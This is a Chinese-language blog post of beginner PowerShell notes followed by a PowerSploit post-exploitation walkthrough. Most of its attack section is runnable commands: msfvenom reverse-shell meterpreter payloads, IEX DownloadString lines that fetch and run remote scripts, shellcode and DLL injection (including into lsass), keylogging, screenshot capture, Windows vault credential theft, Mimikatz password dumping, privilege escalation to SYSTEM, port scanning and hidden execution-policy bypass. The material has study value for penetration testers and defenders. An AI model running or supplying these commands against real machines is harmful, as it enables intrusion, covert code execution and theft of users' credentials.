从零开始学PowerShell渗透测试

2019-07-27 约 1656 字 预计阅读 4 分钟

声明:本文 【从零开始学PowerShell渗透测试】 由作者 fz41 于 2019-07-27 09:40:00 首发 先知社区 曾经 浏览数 28 次

感谢 fz41 的辛苦付出!

从零开始学PowerShell渗透测试

前言

win7以后,powershell默认安装在windows上,这是一个非常强大的渗透测试利器

主要用于后渗透的过程中,扩大攻击面,原来没有怎么接触过这玩意,最近发现了几款ps渗透框架才意识到了powershell的强大。所以,还是准备好好学学。从零开始的那种。

基本语法入门

启动

直接通过启动栏输入powershell就好

简单命令

Get-Help

主题
Windows PowerShell 帮助系统

Get-Alias

获取当前会话中的所有别名
获取别名之后你会发现,有很多和linux相通的命令  cd  ls   tee  .....

关于Cmdlets

  • powershell里重要的命令集合
  • 以.net形式存在
  • Get-Command -CommandType cmdlet 命令可以获取其命令集

start-process

start-process  notepad.exe

Get-Process

获取指定的进程

Get-Content

类似cat

Get-Location

类似pwd

Copy-Item

cp

Move-Item

mv

基本语法

运算符

· >:将输出保存到指定文件中(用法:Get-Process>output.txt)

· >>:将脚本的输出追加到指定文件中(用法:test.ps1>>output.txt)

· 2>:将错误输出到指定文件中(Get-Porcess none 2>Errors.txt)

· 2>>:将错误追加到指定文件中(Get-Process none 2> logs-Errors.txt)

· -eq:等于运算符(用法:$var1 –eq $var2,返回真或假)

· -gt:大于运算符(用法:$var1 –gt $var2,返回真或假)

· -match:匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string返回真或假)

· -replace:替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)

· -in:测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()

数组

$Array = value1, value2, value3

语句

  • 条件语句
If($var {comparison_statement} $var2) { What_To_Do)}
Else {what_to_do_if_not}
  • 循环语句
· While () {}

· Do {} While()

· For(;;;) {}

渗透测试框架PowerSploit

简介

https://github.com/mattifestation/PowerSploit.git

PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员

有很多可用的模块,源码直接在git上可以下载到,以下就简单介绍一下使用方法。

CodeExecution模块

在目标主机执行代码

Invoke-Shellcode.ps1

向指定进程中注入我们的shellcode

配置可执行代码:

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1234 -f powershell -o /shell.txt
# msfconsole 监听刚才的payload配置

靶机下载代码,并执行

PS C:\> Import-Module C:\PowerSploit\CodeExecution\Invoke-Shellcode.ps1
PS C:\> IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.txt')
PS C:\> Invoke-Shellcode -Shellcode @($buf) -ProcessId 6284

Invoke-DllInjection.ps1

将自己的dll注入到目标机器的指定进程中,

administrator或者system权限操作

配置dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f dll -o /root/Desktop/shell.dll

加载代码,执行

Import-Module C:\PowerSploit\CodeExecution\Invoke-DllInjection.ps1
Invoke-DllInjection -ProcessID 5560 -Dll shell.dll

Invoke-ReflectivePEInjection.ps1

远程注入dll

Import-Module C:\PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
$PEBytes = [IO.File]::ReadAllBytes('c:\shell.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName 2008R2DC

Exfiltration模块

用来信息搜集的

截屏

Import-Module C:\PowerSploit\Exfiltration\Get-TimedScreenshot.ps1
Get-TimedScreenshot -Path c:\temp\ -Interval 5 -EndTime 11:23  每5秒截一次图,到11:23时结束

键盘记录

meterpreter再开的cmd[shell] 
Import-Module C:\PowerSploit\Exfiltration\Get-Keystrokes.ps1
Get-Keystrokes -LogPath C:\temp\key.log -Timeout 2  记录2分钟

抓取Windows vault 中保存的各种密码

Import-Module C:\PowerSploit\Exfiltration\Get-VaultCredential.ps1
Get-VaultCredential

mimikatz套件

Import-Module C:\PowerSploit\Exfiltration\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit" 抓取系统本地的用户密码明文及hash

Privesc模块

用来提权的模块

将当前线程令牌提到system

Import-Module C:\PowerSploit\Privesc\Get-System.ps1
Get-System

执行提权的各种检查

要检查的内容比较多,如,可执行文件权限,服务运行权限,检查可被劫持的dll位置

Import-Module C:\PowerSploit\Privesc\PowerUp.ps1 
Invoke-AllChecks | Out-File pri_info.txt

内网信息搜集的一些小模块

端口扫描

Import-Module C:\PowerSploit\Recon\Invoke-Portscan.ps1
Invoke-Portscan -Hosts 192.168.3.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt

dns反向解析

Import-Module C:\PowerSploit\Recon\Invoke-ReverseDnsLookup.ps1 
Invoke-ReverseDnsLookup '192.168.3.20-192.168.3.24'

精通

在执行powershell脚本时有些时候会报错,有如下绕过的方法

本地权限绕过

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过

PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1

远程下载绕过

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://网址/对应脚本名称'); Invoke-Mimikatz -DumpCreds"

后记

上面就是学习的powershell的一些笔记,这些笔记学的也比较粗浅,归根接地这都是要运到实战上的,大牛勿喷,以后继续努力。

参考链接

https://klionsec.github.io/2016/10/06/powersploit/

https://github.com/PowerShellMafia/PowerSploit

https://www.freebuf.com/column/171993.html

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now